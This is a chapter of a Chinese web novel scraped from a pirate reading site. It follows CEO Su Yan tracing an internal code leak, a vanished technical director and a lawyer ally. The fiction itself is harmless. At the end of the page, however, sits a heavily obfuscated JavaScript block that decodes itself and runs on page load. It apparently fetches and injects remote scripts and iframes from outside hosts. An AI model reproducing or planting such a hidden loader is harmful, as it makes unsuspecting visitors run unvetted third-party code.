首页
第0191章咖啡与代码的合谋
返回
关灯 护眼:关 字号:小

第0191章咖啡与代码的合谋

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第0191章咖啡与代码的合谋(第1/2页)
    晨光从会议室的落地窗斜射而来,在橡木长桌上切出一道明暗分明的界限。苏砚坐在光影交界处,左手边的笔记本电脑屏幕上,代码如瀑布般滚动;右手边的骨瓷咖啡杯里,美式咖啡已经凉透了,表面凝着一层暗淡的油膜。
    距离上次庭审已经过去三天。
    这七十二个小时里,苏砚睡了不到十小时。核心算法二次泄露的余波像一颗投入湖心的石子,涟漪正一圈圈扩散——原本预定下周举行的A轮融资路演被三家投资方联名要求推迟,两名核心研发工程师提交了辞职报告,而最让他如芒在背的,是公司内网日志里那些诡异的访问记录。
    记录显示,在泄露发生前的四十八小时内,有十七次非授权访问试图调取“天枢”系统的底层架构。访问IP来自三个不同的办公区域,但追踪到最后,都指向同一台设备——技术总监周明远的个人工作站。
    苏砚盯着屏幕上的IP地址序列,指尖在触控板上轻轻滑动。光标停在那串数字上:192.168.3.27。
    周明远的办公室在三楼,靠窗,窗外正对着园区的人工湖。上周五下午,苏砚还在那里和他讨论过“天枢”系统的迭代方案。周明远穿着那件洗得发白的格子衬衫,眼镜片后的眼睛因为连续熬夜布满血丝,但谈到技术细节时依然闪闪发亮。
    “苏总,这套动态加密算法如果能落地,至少能领先行业三年。”他说这话时,手指在草稿纸上飞快地演算,字迹潦草得像医生的处方。
    可现在,同一个人的工作站,成了泄露的源头。
    苏砚端起咖啡杯,抿了一口。冷掉的咖啡又苦又涩,像吞下一口铁锈。他放下杯子,手指在键盘上敲下一行命令:
    sudogrep-r“tianshu_core“/var/log/auth.log
    回车。屏幕闪烁,跳出数十行登录记录。他的目光快速扫过,最后停在其中的一条:
    Oct1203:14:22serversshd[28743]:Acceptedpasswordforzhoumingyuanfrom192.168.1.105port58123ssh2
    凌晨三点十四分。周明远在那个时间登录了服务器。
    但问题在于——根据门禁记录,周明远那天晚上十点就离开了公司。而IP地址192.168.1.105,是法务部的公用打印机。
    苏砚靠进椅背,双手交叉抵在下巴上。窗外,园区里已经有早到的员工在走动,三三两两,手里拎着早餐袋,步履匆匆。一切都和往常一样,但在这平静的表象下,有什么东西正在腐烂。
    他拿起手机,点开通讯录,手指在“陆时衍”三个字上悬停了片刻,最终还是没有按下去。
    三天前的停车场,他们达成了一个脆弱的共识:信息交换,有限合作。陆时衍需要他提供的商业数据库权限,用来追查原告方证据文件的时间戳漏洞;而他,需要陆时衍在法律程序上的牵制,为内部调查争取时间。
    很公平的交易。就像两个在悬崖边行走的人,各自握住绳子的一端,谁松手,两个人都会掉下去。
    但苏砚不喜欢这种被绑在一起的感觉。尤其是对方还是个律师——一个靠玩弄规则和漏洞为生的人。
    手机震动了一下,是一条新消息。发件人是陌生号码,内容只有一行字:
    “小心身边人。——Z”
    苏砚盯着那行字,瞳孔微微收缩。Z,是周明远姓氏的首字母。但这条短信来得太巧,巧得像一个精心布置的陷阱。
    他按下删除键,但手指在确认键上停住了。沉思几秒后,他截屏,将图片保存到加密文件夹,然后才删除短信。
    几乎同时,会议室的门被敲响了。
    “进。”
    推门进来的是行政总监林薇,三十出头,短发,西装裙,手里抱着一个文件夹,脸色不太好看。
    “苏总,刚收到的。”她把文件夹放在桌上,翻开第一页。
    是封律师函。抬头是“正清律师事务所”,落款签着“陆时衍”三个字。内容措辞严谨,逻辑缜密,以“涉嫌不正当竞争及技术侵权”为由,要求苏砚的公司在下周三之前,提供“天枢”系统的完整技术文档以供核查。
    苏砚的嘴角勾起一丝冷笑。动作真快。停车场才说过“合作”,转头就发律师函,典型的律师做派——永远把主动权握在自己手里。
    “要回复吗?”林薇问。
    “回。”苏砚合上文件夹,“让法务部按正常流程处理,该提供的资料提供,不该给的,一个字都不准多。”
    “明白。”林薇顿了顿,压低声音,“还有件事……周总监今天没来上班,电话关机,家里也没人。”
    苏砚抬起眼:“什么时候发现的?”
    “早上打卡的时候他没到,行政打电话,关机。我让小王去他家看了看,敲门没人应,邻居说昨天下午就没见他回来。”
    “报警了吗?”
    “还没有,想先跟您汇报。”
    苏砚沉默了几秒。周明远失踪了,在成为头号嫌疑人的二十四小时后。这太像是畏罪潜逃,但也正因为太像,反而显得可疑。
    “先别报警。”他说,“联系一下他老家的亲人,看看有没有消息。对外就说他请了年假,出去散心了。”
    “可是……”
    “按我说的做。”苏砚的语气很平静,但有种不容置疑的力度。
    林薇点点头,抱着文件夹退了出去。门关上后,苏砚重新看向电脑屏幕。那行凌晨三点的登录记录,在晨光中泛着冷冰冰的光。
    他忽然想起陆时衍在停车场说过的话:“有时候,最明显的线索,往往是为了掩盖真正的线索。”
    如果周明远不是内鬼,那会是谁?谁有能力伪造他的登录记录?谁有动机在这个节骨眼上让他消失?
    还有那条短信——如果真是周明远发的,他为什么要用这么隐晦的方式示警?如果他已经暴露,为什么不直接说出来?
    问题像一团乱麻,越理越乱。苏砚揉了揉眉心,强迫自己冷静下来。他需要更多的信息,需要跳出眼前的局面,从更高的维度看问题。
    而能提供这个维度的人……
    手机又震动了。这次是来电,屏幕上跳动着“陆时衍”三个字。
    苏砚盯着那个名字看了三秒,接起电话,没说话。
    “律师函收到了?”陆时衍的声音从听筒里传来,带着清晨特有的清冽质感,像冰镇过的柠檬水。
    “收到了。”苏砚说,“效率很高。”
    “例行公事而已。”陆时衍顿了顿,“不过,我建议你仔细看看附件第三页的补充说明。”
    苏砚重新翻开文件夹,找到那份律师函,快速翻到第三页。那是一段关于“证据保全程序”的说明,措辞严谨,但苏砚很快看出了门道——按照这个程序,原告方需要提供他们声称被侵权的“原始技术文档”,而这份文档的提交时限,是下周一。
    比律师函要求的“下周三”提前了两天。
    “你故意的。”苏砚说。
    “我只是在规则允许的范围内,给对手制造一点小小的麻烦。”陆时衍的语气里听不出情绪,“如果他们的证据有问题,这两天的提前量,足够让他们露出马脚。”
    苏砚没接话。他快速在脑子里计算:今天周四,到下周一还有四天。四天时间,如果操作得当,确实能打对方一个措手不及。但前提是,陆时衍真的在帮他,而不是在玩什么更复杂的游戏。
    “为什么要这么做?”苏砚问。
    电话那头沉默了片刻。背景音里传来纸张翻动的声音,还有远处模糊的汽车鸣笛声。陆时衍应该是在办公室,或者车里。
    (本章未完,请点击下一页继续阅读)第0191章咖啡与代码的合谋(第2/2页)
    “因为我不喜欢输。”他说,“尤其不喜欢因为对手作弊而输。”
    “很正义的理由。”
    “随你怎么想。”陆时衍的声音里终于有了一丝波动,像是冰面下的暗流,“另外,有件事你可能需要知道——我查了原告方那家公司的股权结构,最大的外部投资人,是你导师控股的离岸基金。”
    苏砚的手指瞬间收紧,骨节泛白。
    导师。又是导师。
    十年前父亲公司破产的案子,导师是对方的代理律师。十年后的今天,导师又成了对手的幕后金主。这世上没有那么多巧合,只有精心设计的局。
    “消息来源可靠吗?”苏砚听到自己的声音,冷静得不像话。
    “我让助理调了开曼群岛的公开登记记录,虽然做了多层嵌套,但顺藤摸瓜,最后指向的是你导师的名字。”陆时衍顿了顿,“而且,不只是这一家公司。过去五年里,至少有四起针对科技公司的专利诉讼,背后都有他的影子。”
    苏砚闭上眼睛。脑海里浮现出导师的脸——那张总是挂着温和笑容的脸,说话慢条斯理,喜欢引用古籍,看起来像个与世无争的学者。可就是这样一个人,在过去的十年里,像一只蜘蛛,在暗处编织着一张巨大的网。
    而他和父亲,都曾是网里的猎物。
    “苏砚?”陆时衍的声音把他拉回现实。
    “我在听。”
    “这件事比你想象的要复杂。我建议……”陆时衍的话说到一半,突然被打断了。听筒里传来另一个女人的声音,很模糊,但苏砚听出了是谁——薛紫英。
    “时衍,这份文件需要你签字。”
    “放桌上吧,我一会儿看。”
    “可是客户在等了……”
    “我说了,一会儿看。”
    电话被挂断了。忙音嘟嘟地响着,在安静的会议室里格外刺耳。苏砚放下手机,盯着屏幕上那串IP地址,突然笑了。
    笑声很轻,带着自嘲的味道。
    他以为自己在下棋,结果发现自己只是棋盘上的一颗棋子。陆时衍以为自己在钓鱼,结果鱼饵后面还藏着更大的钩。而导师,那个坐在阴影里的人,正看着他们在这张棋盘上厮杀,像在看一出精心编排的戏。
    手机屏幕又亮了。这次是封邮件,发件人正是周明远的公司邮箱。标题是“紧急:系统漏洞说明”,发送时间显示是今天凌晨四点十七分。
    苏砚点开邮件。内容很短:
    “苏总,天枢系统的动态加密算法存在一个逻辑漏洞,具体说明见附件。我怀疑这个漏洞已经被外部利用,建议立即停用相关模块。另外,我可能要离开一段时间,不必找我。——周明远”
    附件是一个加密的压缩包,密码是苏砚的生日。
    苏砚的手指在触摸板上悬停了几秒,最终还是没有点下载。他拿起内线电话,拨给技术部:“我是苏砚,从现在起,封锁周明远的所有系统权限,包括邮箱。另外,通知安全团队,立即对天枢系统的动态加密模块做全面检查,在检查完成前,该模块暂停使用。”
    挂掉电话,他重新看向那封邮件。发送时间是凌晨四点十七分,而周明远的家门禁记录显示,他最后一次进门是昨天下午六点零三分。
    如果他已经“离开”,这封邮件是从哪里发的?
    苏砚调出邮件头信息,追踪IP地址。结果跳出来时,他的瞳孔微微收缩——IP归属地显示:香港,尖沙咀,弥敦道132号。
    那是家二十四小时营业的网咖。
    他拿起手机,翻到通讯录,找到一个备注为“老K”的号码,拨了过去。电话响了三声后被接起,那头传来一个慵懒的男声,背景音很嘈杂,有游戏音效和年轻人的笑骂声。
    “砚哥?稀客啊,这么早找我?”
    “帮我查个人。”苏砚说,“昨天晚上到今天凌晨,弥敦道132号那家网咖的监控,找一个叫周明远的男人,三十五六岁,戴眼镜,穿格子衬衫。”
    “什么时候要?”
    “现在。”
    电话那头传来敲键盘的声音:“行,我让那边的兄弟看看。不过砚哥,这人犯什么事了?需要……”
    “别多问。”苏砚打断他,“查到后把监控片段发我,不要留备份。”
    “明白。”
    挂掉电话,苏砚靠在椅背上,长长地吐出一口气。窗外的阳光又升高了些,明暗分界线从桌面上移到了墙壁上。会议室里很安静,只有电脑风扇运转的嗡嗡声。
    他忽然想起父亲破产前的那个下午。也是这样一个阳光很好的秋日,父亲坐在书房里,看着窗外院子里那棵老银杏树,树叶金黄金黄的,像挂了一树的铜钱。
    “小砚,”父亲说,声音很轻,像在自言自语,“你知道做生意最怕什么吗?”
    十岁的苏砚摇摇头。
    “最怕的不是亏钱,是看不清对手。”父亲转过身,看着他,眼睛里有种他当时看不懂的情绪,“有些人,表面上对你笑,给你递茶,夸你聪明。可转过身,就能把你推进井里,还在井口盖上石头。”
    那时的苏砚听不懂。现在他懂了。
    手机震动,是老K发来的消息:“监控找到了,发你邮箱。人确实是昨晚十一点进的网咖,一个人,背着个双肩包。凌晨四点十分离开的,走的时候很匆忙,差点撞到门。需要继续追吗?”
    苏砚回复:“不用了,谢了。”
    他点开邮箱,下载附件。视频很短,只有几个片段,但足够清晰。画面里,周明远确实坐在网咖的角落里,面前摆着一台电脑,屏幕上闪烁着代码界面。他看起来很疲惫,眼睛红肿,头发乱糟糟的,格子衬衫的领口皱成一团。
    在最后一段视频里,他站起身,从背包里掏出钱包付钱。就在他拉开钱包拉链的瞬间,苏砚按下了暂停键。
    钱包的内层,夹着一张照片。虽然画面模糊,但能看出是个女人,长发,笑得很温柔。照片的一角,露出半个模糊的签名:
    “给明远,永远爱你的——小雅”
    小雅。周明远的妻子,三年前因病去世。葬礼上,周明远抱着骨灰盒,一滴眼泪都没流,只是死死咬着嘴唇,咬出了血。
    苏砚关掉视频,靠在椅背上,闭上了眼睛。
    如果周明远是内鬼,为什么要在逃亡前发邮件示警?如果他想掩盖什么,为什么要把漏洞主动暴露出来?还有那张照片——一个心怀不轨的人,会在逃亡时还带着亡妻的照片吗?
    问题又绕了回来,但这一次,苏砚有了不同的思路。
    他睁开眼,重新看向电脑屏幕。那封来自周明远的邮件还开着,附件下载按钮在光标下微微闪烁。
    也许,他应该相信一次直觉。
    也许,这封邮件不是陷阱,而是求救信号。
    苏砚移动光标,点击下载。压缩包很快下载完成,他输入自己的生日,解压。里面只有一个文本文件,文件名是“漏洞说明.txt”。
    他点开文件。
    没有长篇大论的技术说明,只有短短几行字:
    “漏洞是假的,但追踪程序是真的。谁下载了这个文件,谁就是内鬼。苏总,小心法务部的打印机。——周明远”
    苏砚盯着那几行字,后背突然冒出一层冷汗。
    他猛地抬头,看向会议室的门。门关着,门外是正常工作的办公室,键盘敲击声、电话铃声、同事的交谈声,一切都和往常一样。
    但有什么东西,已经不一样了。
    他拿起手机,拨通陆时衍的号码。这次,电话只响了一声就被接起。
    “我需要你帮忙。”苏砚说,声音很急,“马上。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();